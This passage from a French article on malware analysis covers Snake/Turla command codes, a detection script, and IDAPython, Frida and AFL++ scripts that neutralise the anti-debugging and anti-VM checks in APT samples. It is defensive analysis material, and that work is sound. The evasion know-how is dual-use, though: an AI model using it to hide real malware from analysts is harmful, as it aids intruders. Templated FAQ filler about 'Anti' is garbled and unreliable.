        0x02: "EXEC_CMD",
        0x03: "FILE_UPLOAD",
        0x04: "FILE_DOWNLOAD",
        0x05: "MODULE_LOAD",
        0x06: "MODULE_UNLOAD",
        0x07: "KEYLOG_DUMP",
        0x08: "SCREENSHOT",
        0x09: "NET_SCAN",
        0x0A: "LATERAL_MOVE",
        0x0B: "SELF_DESTRUCT",
        0x10: "PIPE_CREATE",    # Named pipe P2P
        0x11: "SAT_BEACON",     # Satellite C2
    }

    def __init__(self, session_key):
        self.session_key = session_key

    def parse_tlv(self, data):
        """Parse le format TLV de Snake"""
        commands = []
        pos = 0

        while pos < len(data) - 4:
            cmd_type = struct.unpack('

8.3 Détection de Snake

#!/bin/bash
# Script de détection rapide Snake/Turla sur système Windows
# Exécuter en tant qu'administrateur

echo "[*] Recherche d'indicateurs Snake/Turla..."

# 1. Vérifier les named pipes suspects
echo "[*] Named pipes actifs :"
powershell -c "[System.IO.Directory]::GetFiles('\\.\\pipe\\')" 2>/dev/null | \
    grep -iE "sdlrpc|ssnp|iscomp"

# 2. Vérifier les drivers suspects
echo "[*] Drivers chargés :"
powershell -c "Get-WmiObject Win32_SystemDriver | Where-Object {
    \$_.PathName -match 'fsfilt|ndproxy'
} | Select-Object Name, PathName, State"

# 3. Vérifier les clés de registre
echo "[*] Clés de registre :"
reg query "HKLM\SOFTWARE\Classes\.wav\OpenWithProgids" 2>/dev/null

# 4. Vérifier les mutex
echo "[*] Handles système (mutex) :"
handle.exe -a 2>/dev/null | grep -iE "SnkSem|SlgSem"

# 5. Analyse réseau : trafic satellite suspect
echo "[*] Connexions réseau suspectes :"
netstat -anob | grep -E ":(80|443|8080)\s" | \
    grep -v "ESTABLISHED.*svchost"

echo "[*] Analyse terminée."

9. Contournement des Protections Anti-RE

L'analyste dispose d'un arsenal d'outils et de techniques pour contourner systématiquement les protections anti-RE. Cette section présente les approches les plus efficaces.

9.1 Patching anti-debug avec IDAPython

"""
Script IDAPython pour patcher automatiquement les anti-debug
courants dans les malwares APT
"""
import idaapi
import idautils
import idc

class AntiDebugPatcher:
    """Détecte et patche les vérifications anti-debug"""

    def __init__(self):
        self.patches = 0

    def patch_bytes(self, ea, original, patched, desc):
        """Appliquer un patch binaire"""
        current = idc.get_bytes(ea, len(original))
        if current == original:
            idaapi.patch_bytes(ea, patched)
            self.patches += 1
            print(f"[+] Patched {desc} at 0x{ea:X}")
            return True
        return False

    def find_and_patch_isdebuggerpresent(self):
        """Patcher les appels à IsDebuggerPresent"""
        for seg in idautils.Segments():
            for head in idautils.Heads(seg, idc.get_segm_end(seg)):
                if idc.print_insn_mnem(head) == "call":
                    target = idc.get_operand_value(head, 0)
                    name = idc.get_name(target)
                    if name and "IsDebuggerPresent" in name:
                        # Remplacer CALL par XOR EAX,EAX + NOP
                        # Retourne toujours FALSE
                        call_size = idc.get_item_size(head)
                        patch = b'\x31\xC0'  # xor eax, eax
                        patch += b'\x90' * (call_size - 2)  # NOP padding
                        idaapi.patch_bytes(head, patch)
                        self.patches += 1
                        print(f"[+] Patched IsDebuggerPresent call "
                              f"at 0x{head:X}")

    def find_and_patch_peb_check(self):
        """Patcher l'accès direct au PEB BeingDebugged"""
        # Pattern x64 : 65 48 8B 04 25 60 00 00 00 (mov rax, gs:[60h])
        pattern = "65 48 8B 04 25 60 00 00 00"
        addr = idc.find_binary(0, idc.SEARCH_DOWN, pattern)
        while addr != idc.BADADDR:
            # Chercher le test du BeingDebugged qui suit
            for check_ea in range(addr, addr + 30):
                if idc.print_insn_mnem(check_ea) in ("cmp", "test"):
                    # NOP la comparaison + le saut conditionnel
                    jmp_ea = check_ea + idc.get_item_size(check_ea)
                    if idc.print_insn_mnem(jmp_ea) in ("jnz", "jz", "jne", "je"):
                        size = idc.get_item_size(check_ea) + \
                               idc.get_item_size(jmp_ea)
                        idaapi.patch_bytes(check_ea, b'\x90' * size)
                        self.patches += 1
                        print(f"[+] Patched PEB check at 0x{check_ea:X}")
                    break
            addr = idc.find_binary(addr + 1, idc.SEARCH_DOWN, pattern)

    def find_and_patch_rdtsc(self):
        """Neutraliser les timing checks RDTSC"""
        pattern = "0F 31"  # RDTSC opcode
        addr = idc.find_binary(0, idc.SEARCH_DOWN, pattern)
        count = 0
        while addr != idc.BADADDR and count < 20:
            # NOP le RDTSC pour toujours retourner 0
            idaapi.patch_bytes(addr, b'\x31\xC0')  # xor eax, eax
            self.patches += 1
            count += 1
            print(f"[+] Patched RDTSC at 0x{addr:X}")
            addr = idc.find_binary(addr + 2, idc.SEARCH_DOWN, pattern)

    def run(self):
        """Exécuter toutes les passes de patching"""
        print("[*] Anti-Debug Patcher starting...")
        self.find_and_patch_isdebuggerpresent()
        self.find_and_patch_peb_check()
        self.find_and_patch_rdtsc()
        print(f"[*] Done: {self.patches} patches applied")

# Exécution dans IDA Pro
# patcher = AntiDebugPatcher()
# patcher.run()

9.2 Bypass dynamique avec Frida

9. Contournement des Protections Anti-RE : analyse approfondie

// Script Frida pour bypass des anti-RE en temps réel
// Usage : frida -l bypass_anti_re.js -f malware.exe

console.log("[*] Anti-RE Bypass Script loaded");

// 1. Hook IsDebuggerPresent
Interceptor.attach(Module.findExportByName("kernel32.dll",
    "IsDebuggerPresent"), {
    onLeave: function(retval) {
        retval.replace(0);  // Toujours retourner FALSE
        console.log("[+] IsDebuggerPresent -> FALSE");
    }
});

// 2. Hook NtQueryInformationProcess
var ntdll = Module.findBaseAddress("ntdll.dll");
var pNtQIP = Module.findExportByName("ntdll.dll",
    "NtQueryInformationProcess");

Interceptor.attach(pNtQIP, {
    onEnter: function(args) {
        this.infoClass = args[1].toInt32();
        this.outBuffer = args[2];
    },
    onLeave: function(retval) {
        // ProcessDebugPort (7) ou ProcessDebugObjectHandle (0x1E)
        if (this.infoClass === 7 || this.infoClass === 0x1E) {
            this.outBuffer.writeU64(0);
            console.log("[+] NtQueryInformationProcess(" +
                       this.infoClass + ") -> 0");
        }
    }
});

// 3. Hook GetTickCount64 (anti-timing)
var originalTick = null;
Interceptor.attach(Module.findExportByName("kernel32.dll",
    "GetTickCount64"), {
    onEnter: function() {
        if (!originalTick) {
            originalTick = Date.now();
        }
    },
    onLeave: function(retval) {
        // Simuler un uptime de 3 heures (éviter détection sandbox)
        var fakeUptime = 10800000 + (Date.now() - originalTick);
        retval.replace(ptr(fakeUptime));
    }
});

// 4. Hook CPUID (anti-VM)
// Note : nécessite Stalker pour intercepter CPUID
var cm = new CModule(`
#include 
extern void on_cpuid(GumCpuContext *ctx) {
    // Si leaf 0x40000000 (hypervisor vendor), retourner vide
    if (ctx->rax == 0x40000000) {
        ctx->rbx = 0;
        ctx->rcx = 0;
        ctx->rdx = 0;
    }
    // Si leaf 1, masquer le bit hypervisor (ECX bit 31)
    if (ctx->rax == 1) {
        ctx->rcx &= ~(1 << 31);
    }
}
`);

// 5. Patcher les checks de nom d'utilisateur/hostname
Interceptor.attach(Module.findExportByName("kernel32.dll",
    "GetComputerNameA"), {
    onLeave: function(retval) {
        var buf = this.context.rcx || this.context.r8;
        // Remplacer par un nom réaliste
        buf.writeAnsiString("DESKTOP-A7B3C9D");
        console.log("[+] ComputerName -> DESKTOP-A7B3C9D");
    }
});

console.log("[*] All hooks installed. Anti-RE bypassed.");

9.3 Fuzzing avec AFL++ pour découvrir les chemins cachés

#!/bin/bash
# Utilisation d'AFL++ pour fuzzer un malware et découvrir
# les chemins d'exécution cachés derrière les anti-RE

# 1. Compiler le harness avec instrumentation AFL
export AFL_CC_COMPILER=LLVM
afl-clang-lto -o harness harness.c \
    -fsanitize=address \
    -DFUZZ_MODE=1

# 2. Créer le corpus initial (inputs connus)
mkdir -p corpus/
echo -n "NORMAL_INPUT" > corpus/seed1.bin
echo -n "\x00\x00\x00\x00" > corpus/seed2.bin

# 3. Créer le dictionnaire de tokens du malware
cat > dict.txt << 'EOF'
# Tokens extraits du malware
"VMware"
"VBOX"
"Sandbox"
"cuckoo"
"\x0F\x31"  # RDTSC
"\xCD\x2D"  # INT 2D
"\x64\xA1\x30\x00\x00\x00"  # PEB access x86
EOF

# 4. Lancer le fuzzing multi-coeur
afl-fuzz -i corpus/ -o findings/ \
    -x dict.txt \
    -m 512 \
    -t 5000 \
    -M master \
    -- ./harness @@

# En parallèle sur d'autres coeurs :
# afl-fuzz -i corpus/ -o findings/ -S slave01 -- ./harness @@
# afl-fuzz -i corpus/ -o findings/ -S slave02 -- ./harness @@

# 5. Analyser les crashes et les chemins découverts
afl-tmin -i findings/master/crashes/ -o minimized/ -- ./harness @@

echo "[*] Chemins uniques découverts :"
ls findings/master/queue/ | wc -l

echo "[*] Crashes trouvés :"
ls findings/master/crashes/ | wc -l
1. Introduction2. Techniques Anti-Debugging2. Techniques Anti-Debugging : analyse approfondie
ImplementationRenforcement de la securite globaleComplexite de mise en oeuvre
MonitoringDetection proactive des menacesRessources necessaires
ConformiteAlignement aux referentielsCout de certification

Pour approfondir ce sujet, consultez notre outil open-source reverse-engineering-scripts qui facilite l'assistance à la rétro-ingénierie de binaires.

Questions frequentes

Comment mettre en place Anti dans un environnement de production ?

La mise en place de Anti en production necessite une planification rigoureuse, incluant l'evaluation des prerequis techniques, la definition d'une architecture cible, des tests de validation approfondis et un plan de deploiement progressif avec des points de controle a chaque etape.

Pourquoi Anti est-il essentiel pour la securite des systemes d'information ?

Anti constitue un element fondamental de la securite des systemes d'information car il permet de reduire significativement la surface d'attaque, d'ameliorer la detection des menaces et de renforcer la posture globale de securite de l'organisation face aux cybermenaces actuelles.

Quelles sont les bonnes pratiques pour Anti en 2026 ?

Les bonnes pratiques pour Anti en 2026 incluent l'adoption d'une approche Zero Trust, l'automatisation des controles de securite, la mise en place d'une veille continue sur les vulnerabilites et l'integration des recommandations des organismes de reference comme l'ANSSI et le NIST.

10. Conclusion

L'analyse des techniques anti-RE déployées par les groupes APT révèle une industrialisation de l'évasion. Les implants modernes ne reposent plus sur une ou deux astuces, mais sur une architecture défensive multicouche où chaque protection renforce les autres.

Les tendances émergentes incluent :

  • IA offensive : utilisation de modèles de langage pour générer du code polymorphe contextuel, rendant chaque sample unique et indétectable par signatures statiques
  • Anti-RE basée sur l'environnement : le payload ne se déchiffre que sur la machine cible (clé dérivée du hostname, GUID machine, certificats installés), rendant l'analyse impossible sur une machine tierce
  • Firmware-level evasion : implants dans le BIOS/UEFI, l'Intel ME, ou les contrôleurs BMC, invisibles à l'OS et survivant aux réinstallations
  • Communication covert channel : DNS-over-HTTPS, steganographie dans les images de profil de réseaux sociaux, communications via des services cloud légitimes (OneDrive, Notion, Telegram)

Face à cette sophistication croissante, l'analyste doit maintenir une approche systématique : identifier les couches de protection, les neutraliser séquentiellement, et documenter chaque technique pour alimenter les signatures de détection. Les outils comme Frida, IDAPython et AFL++ sont les alliés essentiels de cette contre-analyse.

Recommandation : Maintenez un catalogue interne des techniques anti-RE rencontrées, avec les scripts de contournement associés. La réutilisation de code entre campagnes APT est fréquente — une technique identifiée dans un sample Lazarus pourra être retrouvée dans une future campagne.